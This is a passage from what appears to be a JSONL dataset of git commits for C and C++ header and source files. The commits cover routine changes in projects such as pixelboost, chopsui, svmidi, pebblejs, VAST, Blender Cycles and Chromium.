BufferFormat GetBufferFormat();\n    VertexFormat GetVertexFormat();\n    \n    int GetMaxSize();\n    int GetCurrentSize();\n    \n    void* GetData();\n    \n    void Lock();\n    void Unlock(int numElements=-1);\n    \nprivate:\n    GraphicsDevice* _Device;\n    \n    BufferFormat _BufferFormat;\n    VertexFormat _VertexFormat;\n    int _MaxSize;\n    int _CurrentSize;\n    \n    void* _Data;\n    \n    int _Locked;\n    \n    friend class GraphicsDevice;\n};\n\n}\n","new_contents":"#pragma once\n\n#include \"pixelboost\/graphics\/device\/bufferFormats.h\"\n\nnamespace pb\n{\n    \nclass GraphicsDevice;\n\nstruct Vertex_P3\n{\n    float position[3];\n};\n    \nstruct Vertex_P3_UV\n{\n    float position[3];\n    float uv[2];\n};\n\nstruct Vertex_P3_C4\n{\n    float position[3];\n    float color[4];\n};\n    \nstruct Vertex_P3_C4_UV\n{\n    float position[3];\n    float uv[2];\n    float color[4];\n};\n\nstruct Vertex_P3_N3_UV\n{\n    float position[3];\n    float normal[3];\n    float uv[2];\n};\n    \nstruct Vertex_P3_N3_UV_BW\n{\n    float position[3];\n    float normal[3];\n    float uv[2];\n    char bones[4];\n    float boneWeights[4];\n};\n\nclass VertexBuffer\n{\nprotected:\n    VertexBuffer(GraphicsDevice* device, BufferFormat bufferFormat, VertexFormat vertexFormat, int maxSize);\n    ~VertexBuffer();\n    \npublic:    \n    BufferFormat GetBufferFormat();\n    VertexFormat GetVertexFormat();\n    \n    int GetMaxSize();\n    int GetCurrentSize();\n    \n    void* GetData();\n    \n    void Lock();\n    void Unlock(int numElements=-1);\n    \nprivate:\n    GraphicsDevice* _Device;\n    \n    BufferFormat _BufferFormat;\n    VertexFormat _VertexFormat;\n    int _MaxSize;\n    int _CurrentSize;\n    \n    void* _Data;\n    \n    int _Locked;\n    \n    friend class GraphicsDevice;\n};\n\n}\n","subject":"Remove padding from vertex buffers","message":"Remove padding from vertex buffers\n","lang":"C","license":"mit","repos":"pixelballoon\/pixelboost,pixelballoon\/pixelboost,pixelballoon\/pixelboost,pixelballoon\/pixelboost,pixelballoon\/pixelboost"}
{"commit":"5d7f99083bba3bf34f6fc715683b33989842c0c2","old_file":"docs\/example\/example.c","new_file":"docs\/example\/example.c","old_contents":"#include <chopsui.h>\n\nvoid say_hi_clicked(sui_t *button, sui_event_t *event) {\n\tsui_alert(\"Hello world!\");\n}\n\nvoid exit_clicked(sui_t *button, sui_event_t *event) {\n\tsui_exit();\n}\n\nint main(int argc, char **argv) {\n\tinit_sui();\n\tsui_t *window = sui_load(\"window.sui\");\n\tsui_load_css(\"window.css\");\n\tsui_add_handler(window, exit_clicked);\n\tsui_add_handler(window, say_hi_clicked);\n\tsui_show(window);\n\tsui_run();\n\treturn 0;\n}\n","new_contents":"#include <chopsui.h>\n\nvoid say_hi_clicked(sui_t *button, sui_event_t *event) {\n\tsui_alert(\"Hello world!\");\n}\n\nvoid exit_clicked(sui_t *button, sui_event_t *event) {\n\tsui_exit();\n}\n\nint main(int argc, char **argv) {\n\tinit_sui();\n\tsui_t *window = sui_load(\"window.sui\");\n\tsui_css_t *css = sui_load_css(\"window.css\");\n\tsui_add_handler(window, exit_clicked);\n\tsui_add_handler(window, say_hi_clicked);\n\tsui_style(window, css);\n\tsui_show(window);\n\tsui_run();\n\treturn 0;\n}\n","subject":"Change how CSS would be used","message":"Change how CSS would be used\n","lang":"C","license":"mit","repos":"GrayHatter\/chopsui,GrayHatter\/chopsui"}
{"commit":"b814282dc2db635d31fbe219e99a423337aa2dbf","old_file":"alsa.c","new_file":"alsa.c","old_contents":"#include <alsa\/asoundlib.h>\n\nsnd_seq_t *hdl;\nstatic snd_midi_event_t *mbuf;\nstatic int midiport;\n\n\/* open *\/\nint\nmidiopen(void)\n{\n\tsnd_midi_event_new(32, &mbuf);\n\tif (snd_seq_open(&hdl, \"default\", SND_SEQ_OPEN_OUTPUT, 0) != 0) {\n\t\treturn 1;\n\t} else {\n\t\tsnd_seq_set_client_name(hdl, \"svmidi\");\n\t\tif ((midiport = snd_seq_create_simple_port(hdl, \"svmidi\",\n\t\t\t    SND_SEQ_PORT_CAP_READ|SND_SEQ_PORT_CAP_SUBS_READ,\n\t\t\t    SND_SEQ_PORT_TYPE_APPLICATION)) < 0) {\n\t\t\treturn 1;\n\t\t}\n\t\treturn 0;\n\t}\n}\n\n\/* send message *\/\nvoid\n_midisend(unsigned char message[], size_t count)\n{\n\tsnd_seq_event_t ev;\n\n\tsnd_midi_event_encode(mbuf, message, count, &ev);\n\n\tsnd_seq_ev_set_subs(&ev);\n\tsnd_seq_ev_set_direct(&ev);\n\tsnd_seq_ev_set_source(&ev, midiport);\n\tsnd_seq_event_output_direct(hdl, &ev);\n}\n\n\/* close *\/\nvoid\nmidiclose(void)\n{\n\tsnd_midi_event_free(mbuf);\n\tsnd_seq_close(hdl);\n}\n","new_contents":"#include <alsa\/asoundlib.h>\n\nsnd_seq_t *hdl;\nstatic snd_midi_event_t *mbuf;\nstatic int midiport;\n\n\/* open *\/\nint\nmidiopen(void)\n{\n\tsnd_midi_event_new(32, &mbuf);\n\tif (snd_seq_open(&hdl, \"default\", SND_SEQ_OPEN_OUTPUT, 0) != 0) {\n\t\treturn 1;\n\t} else {\n\t\tsnd_seq_set_client_name(hdl, \"svmidi\");\n\t\tif ((midiport = snd_seq_create_simple_port(hdl, \"svmidi\",\n\t\t\t    SND_SEQ_PORT_CAP_READ|SND_SEQ_PORT_CAP_SUBS_READ,\n\t\t\t    SND_SEQ_PORT_TYPE_APPLICATION)) < 0) {\n\t\t\treturn 1;\n\t\t}\n\t\treturn 0;\n\t}\n}\n\n\/* send message *\/\nvoid\nmidisend(unsigned char message[], size_t count)\n{\n\tsnd_seq_event_t ev;\n\n\tsnd_midi_event_encode(mbuf, message, count, &ev);\n\n\tsnd_seq_ev_set_subs(&ev);\n\tsnd_seq_ev_set_direct(&ev);\n\tsnd_seq_ev_set_source(&ev, midiport);\n\tsnd_seq_event_output_direct(hdl, &ev);\n}\n\n\/* close *\/\nvoid\nmidiclose(void)\n{\n\tsnd_midi_event_free(mbuf);\n\tsnd_seq_close(hdl);\n}\n","subject":"Fix undefined reference to \"midisend\" when using ALSA","message":"Fix undefined reference to \"midisend\" when using ALSA\n\nSigned-off-by: Henrique N. Lengler <6cdc851d94ddec54baafad133c2f9a87abb571af@openmailbox.org>\n","lang":"C","license":"isc","repos":"henriqueleng\/svmidi"}
{"commit":"3a020666627b551cca4bbd863bc4570914e2e952","old_file":"src\/util\/scroll_layer.h","new_file":"src\/util\/scroll_layer.h","old_contents":"","new_contents":"#pragma once\n\n#include <pebble.h>\n\n#include \"simply\/simply.h\"\n\nstatic inline ClickConfigProvider scroll_layer_click_config_provider_accessor(ClickConfigProvider provider) {\n  static ClickConfigProvider s_provider;\n  if (provider) {\n    s_provider = provider;\n  }\n  return s_provider;\n}\n\nstatic inline void scroll_layer_click_config(void *context) {\n  window_set_click_context(BUTTON_ID_UP, context);\n  window_set_click_context(BUTTON_ID_DOWN, context);\n  scroll_layer_click_config_provider_accessor(NULL)(context);\n}\n\nstatic inline void scroll_layer_set_click_config_provider_onto_window(ScrollLayer *scroll_layer,\n    ClickConfigProvider click_config_provider, Window *window, void *context) {\n  scroll_layer_set_click_config_onto_window(scroll_layer, window);\n  scroll_layer_click_config_provider_accessor(window_get_click_config_provider(window));\n  window_set_click_config_provider_with_context(window, click_config_provider, context);\n}\n","subject":"Add scroll layer click config override helpers","message":"Add scroll layer click config override helpers\n","lang":"C","license":"mit","repos":"youtux\/pebblejs,dhpark\/pebblejs,daduke\/LMSController,stephanpavlovic\/pebble-kicker-app,Scoutski\/pebblejs,robinkam\/pebblejs,youtux\/pebblejs,jiangege\/pebblejs-project,dhpark\/pebblejs,ishepard\/TransmissionTorrent,pebble\/pebblejs,fletchto99\/pebblejs,dhpark\/pebblejs,demophoon\/Trimet-Tracker,nickarino\/pebble_reminder_js,bkbilly\/Tvheadend-EPG,nickarino\/pebble_reminder_js,ento\/pebblejs,fletchto99\/pebblejs,carlo-colombo\/dublin-bus-pebble,kylepotts\/fooder,tbloncar\/pebble-sitestatus,ento\/pebblejs,robinkam\/pebblejs,sunshineyyy\/CatchOneBus,daduke\/LMSController,daduke\/LMSController,ento\/pebblejs,lavinjj\/pebblejs,gwijsman\/OpenRemotePebble,LeZuse\/pebble-transit-app,Scoutski\/pebblejs,ento\/pebblejs,pebble\/pebblejs,ishepard\/TransmissionTorrent,robinkam\/pebblejs,demophoon\/Trimet-Tracker,Scoutski\/pebblejs,jsfi\/pebblejs,bkbilly\/Tvheadend-EPG,dennisdegreef\/foober,youtux\/pebblejs,lavinjj\/pebblejs,nickarino\/pebble_reminder_js,ishepard\/TransmissionTorrent,nickarino\/pebble_reminder_js,effata\/pebblejs,gwijsman\/OpenRemotePebble,carlo-colombo\/dublin-bus-pebble,jiangege\/pebblejs-project,sunshineyyy\/CatchOneBus,effata\/pebblejs,zanesalvatore\/transit-watcher,carlo-colombo\/dublin-bus-pebble,stephanpavlovic\/pebble-kicker-app,dhpark\/pebblejs,bkbilly\/Tvheadend-EPG,zanesalvatore\/transit-watcher,ishepard\/TransmissionTorrent,bkbilly\/Tvheadend-EPG,robinkam\/pebblejs,fletchto99\/pebblejs,kylepotts\/fooder,effata\/pebblejs,youtux\/PebbleShows,tbloncar\/pebble-sitestatus,demophoon\/Trimet-Tracker,Scoutski\/pebblejs,fletchto99\/pebblejs,lavinjj\/pebblejs,frizzr\/CatchOneBus,jiangege\/pebblejs-project,pebble\/pebblejs,frizzr\/CatchOneBus,robinkam\/pebblejs,LeZuse\/pebble-transit-app,lavinjj\/pebblejs,nickarino\/pebble_reminder_js,lavinjj\/pebblejs,carlo-colombo\/dublin-bus-pebble,kylepotts\/fooder,gwijsman\/OpenRemotePebble,effata\/pebblejs,stephanpavlovic\/pebble-kicker-app,arekom\/pebble-github,effata\/pebblejs,frizzr\/CatchOneBus,stephanpavlovic\/pebble-kicker-app,jsfi\/pebblejs,kylepotts\/fooder,jsfi\/pebblejs,dennisdegreef\/foober,carlo-colombo\/dublin-bus-pebble,zanesalvatore\/transit-watcher,ento\/pebblejs,gwijsman\/OpenRemotePebble,nickarino\/pebble_reminder_js,demophoon\/Trimet-Tracker,tbloncar\/pebble-sitestatus,ishepard\/TransmissionTorrent,pebble\/pebblejs,dennisdegreef\/foober,LeZuse\/pebble-transit-app,LeZuse\/pebble-transit-app,tbloncar\/pebble-sitestatus,zanesalvatore\/transit-watcher,jsfi\/pebblejs,arekom\/pebble-github,youtux\/PebbleShows,arekom\/pebble-github,jsfi\/pebblejs,arekom\/pebble-github,sunshineyyy\/CatchOneBus,dhpark\/pebblejs,youtux\/pebblejs,youtux\/PebbleShows,robinkam\/pebblejs,daduke\/LMSController,pebble\/pebblejs,tbloncar\/pebble-sitestatus,sunshineyyy\/CatchOneBus,daduke\/LMSController,gwijsman\/OpenRemotePebble,dennisdegreef\/foober,fletchto99\/pebblejs,youtux\/PebbleShows,stephanpavlovic\/pebble-kicker-app,dennisdegreef\/foober,frizzr\/CatchOneBus,demophoon\/Trimet-Tracker,zanesalvatore\/transit-watcher,arekom\/pebble-github,jiangege\/pebblejs-project,sunshineyyy\/CatchOneBus,kylepotts\/fooder,jiangege\/pebblejs-project,Scoutski\/pebblejs,youtux\/pebblejs,LeZuse\/pebble-transit-app,bkbilly\/Tvheadend-EPG"}
{"commit":"db3de3779b73a2919c193fa3bd85d1295a0e54ef","old_file":"src\/vast\/query\/search.h","new_file":"src\/vast\/query\/search.h","old_contents":"#ifndef VAST_QUERY_SEARCH_H\n#define VAST_QUERY_SEARCH_H\n\n#include <unordered_map>\n#include <cppa\/cppa.hpp>\n#include <ze\/event.h>\n#include <vast\/query\/query.h>\n\nnamespace vast {\nnamespace query {\n\nclass search : public cppa::sb_actor<search>\n{\n  friend class cppa::sb_actor<search>;\n\npublic:\n  search(cppa::actor_ptr archive, cppa::actor_ptr index);\n  \nprivate:\n  std::vector<cppa::actor_ptr> queries_;\n  std::multimap<cppa::actor_ptr, cppa::actor_ptr> clients_;\n  cppa::actor_ptr archive_;\n  cppa::actor_ptr index_;\n  cppa::behavior init_state;\n};\n\n} \/\/ namespace query\n} \/\/ namespace vast\n\n#endif\n","new_contents":"#ifndef VAST_QUERY_SEARCH_H\n#define VAST_QUERY_SEARCH_H\n\n#include <unordered_map>\n#include <cppa\/cppa.hpp>\n#include <ze\/event.h>\n#include <vast\/query\/query.h>\n\nnamespace vast {\nnamespace query {\n\nclass search : public cppa::sb_actor<search>\n{\n  friend class cppa::sb_actor<search>;\n\npublic:\n  search(cppa::actor_ptr archive, cppa::actor_ptr index);\n  \nprivate:\n  std::vector<cppa::actor_ptr> queries_;\n  std::unordered_multimap<cppa::actor_ptr, cppa::actor_ptr> clients_;\n  cppa::actor_ptr archive_;\n  cppa::actor_ptr index_;\n  cppa::behavior init_state;\n};\n\n} \/\/ namespace query\n} \/\/ namespace vast\n\n#endif\n","subject":"Use an unordered map to track clients.","message":"Use an unordered map to track clients.\n","lang":"C","license":"bsd-3-clause","repos":"pmos69\/vast,mavam\/vast,vast-io\/vast,vast-io\/vast,pmos69\/vast,pmos69\/vast,mavam\/vast,vast-io\/vast,mavam\/vast,mavam\/vast,vast-io\/vast,pmos69\/vast,vast-io\/vast"}
{"commit":"7967b5fd99e3f157711648a26a2aa309c60cf842","old_file":"src\/util\/util_time.h","new_file":"src\/util\/util_time.h","old_contents":"\/*\n * Copyright 2011-2013 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __UTIL_TIME_H__\n#define __UTIL_TIME_H__\n\nCCL_NAMESPACE_BEGIN\n\n\/* Give current time in seconds in double precision, with good accuracy. *\/\n\ndouble time_dt();\n\n\/* Sleep for the specified number of seconds *\/\n\nvoid time_sleep(double t);\n\nclass scoped_timer {\npublic:\n\tscoped_timer(double *value) : value_(value)\n\t{\n\t\tif(value_ != NULL) {\n\t\t\ttime_start_ = time_dt();\n\t\t}\n\t}\n\n\t~scoped_timer()\n\t{\n\t\tif(value_ != NULL) {\n\t\t\t*value_ = time_dt() - time_start_;\n\t\t}\n\t}\nprotected:\n\tdouble *value_;\n\tdouble time_start_;\n};\n\nCCL_NAMESPACE_END\n\n#endif\n\n","new_contents":"\/*\n * Copyright 2011-2013 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __UTIL_TIME_H__\n#define __UTIL_TIME_H__\n\nCCL_NAMESPACE_BEGIN\n\n\/* Give current time in seconds in double precision, with good accuracy. *\/\n\ndouble time_dt();\n\n\/* Sleep for the specified number of seconds *\/\n\nvoid time_sleep(double t);\n\nclass scoped_timer {\npublic:\n\tscoped_timer(double *value) : value_(value)\n\t{\n\t\ttime_start_ = time_dt();\n\t}\n\n\t~scoped_timer()\n\t{\n\t\tif(value_ != NULL) {\n\t\t\t*value_ = time_dt() - time_start_;\n\t\t}\n\t}\nprotected:\n\tdouble *value_;\n\tdouble time_start_;\n};\n\nCCL_NAMESPACE_END\n\n#endif\n\n","subject":"Fix Uninitialized Value compiler warning in the scoped_timer","message":"Fix Uninitialized Value compiler warning in the scoped_timer\n\nAlthough the code made it impossible to use time_start_ uninitialized, at least GCC did\nstill produce multiple warnings about it.\nSince time_dt() is an extremely cheap operation and functionality does not change in any way when\nremoving the check in the constructor, this commit removes the check and therefore the warning.\n","lang":"C","license":"apache-2.0","repos":"tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird,tangent-opensource\/coreBlackbird"}
{"commit":"22d68da72421c17ee15e0c7be71740b10a93ee9e","old_file":"testing\/platform_test.h","new_file":"testing\/platform_test.h","old_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef TESTING_PLATFORM_TEST_H_\n#define TESTING_PLATFORM_TEST_H_\n\n#include <gtest\/gtest.h>\n\n#if defined(GTEST_OS_MAC)\n#ifdef __OBJC__\n@class NSAutoreleasePool;\n#else\nclass NSAutoreleasePool;\n#endif\n\n\/\/ The purpose of this class us to provide a hook for platform-specific\n\/\/ operations across unit tests.  For example, on the Mac, it creates and\n\/\/ releases an outer NSAutoreleasePool for each test case.  For now, it's only\n\/\/ implemented on the Mac.  To enable this for another platform, just adjust\n\/\/ the #ifdefs and add a platform_test_<platform>.cc implementation file.\nclass PlatformTest : public testing::Test {\n protected:\n  PlatformTest();\n  virtual ~PlatformTest();\n\n private:\n  NSAutoreleasePool* pool_;\n};\n#else\ntypedef testing::Test PlatformTest;\n#endif \/\/ GTEST_OS_MAC\n\n#endif \/\/ TESTING_PLATFORM_TEST_H_\n","new_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef TESTING_PLATFORM_TEST_H_\n#define TESTING_PLATFORM_TEST_H_\n\n#include <gtest\/gtest.h>\n\n#if defined(GTEST_OS_MAC)\n#ifdef __OBJC__\n@class NSAutoreleasePool;\n#else\nclass NSAutoreleasePool;\n#endif\n\n\/\/ The purpose of this class us to provide a hook for platform-specific\n\/\/ operations across unit tests.  For example, on the Mac, it creates and\n\/\/ releases an outer NSAutoreleasePool for each test case.  For now, it's only\n\/\/ implemented on the Mac.  To enable this for another platform, just adjust\n\/\/ the #ifdefs and add a platform_test_<platform>.cc implementation file.\nclass PlatformTest : public testing::Test {\n public:\n  virtual ~PlatformTest();\n\n protected:\n  PlatformTest();\n\n private:\n  NSAutoreleasePool* pool_;\n};\n#else\ntypedef testing::Test PlatformTest;\n#endif \/\/ GTEST_OS_MAC\n\n#endif \/\/ TESTING_PLATFORM_TEST_H_\n","subject":"Change visibility of the destructor to public.","message":"Change visibility of the destructor to public.\n\nPlatformTest's destructor was set as protected, though the parent class\ntesting::Test declares it public.\n\nBUG=none\n\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/11038058\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@161352 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,dushu1203\/chromium.src,dushu1203\/chromium.src,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,hujiajie\/pa-chromium,dednal\/chromium.src,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk,Chilledheart\/chromium,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,anirudhSK\/chromium,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,ltilve\/chromium,Just-D\/chromium-1,dednal\/chromium.src,markYoungH\/chromium.src,Just-D\/chromium-1,jaruba\/chromium.src,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,ltilve\/chromium,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,markYoungH\/chromium.src,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,littlstar\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,Jonekee\/chromium.src,patrickm\/chromium.src,littlstar\/chromium.src,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,ChromiumWebApps\/chromium,ltilve\/chromium,timopulkkinen\/BubbleFish,Chilledheart\/chromium,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,dednal\/chromium.src,dednal\/chromium.src,patrickm\/chromium.src,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,markYoungH\/chromium.src,ondra-novak\/chromium.src,dednal\/chromium.src,littlstar\/chromium.src,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,Chilledheart\/chromium,timopulkkinen\/BubbleFish,ltilve\/chromium,littlstar\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,dednal\/chromium.src,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,dushu1203\/chromium.src,patrickm\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,ltilve\/chromium,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,anirudhSK\/chromium,markYoungH\/chromium.src,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,timopulkkinen\/BubbleFish,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,dednal\/chromium.src,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,patrickm\/chromium.src,Just-D\/chromium-1,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,anirudhSK\/chromium,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,dednal\/chromium.src,M4sse\/chromium.src,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,littlstar\/chromium.src,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,hujiajie\/pa-chromium,jaruba\/chromium.src,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,Just-D\/chromium-1,ltilve\/chromium,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,chuan9\/chromium-crosswalk,M4sse\/chromium.src,littlstar\/chromium.src,timopulkkinen\/BubbleFish,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,patrickm\/chromium.src,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,hujiajie\/pa-chromium,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk"}
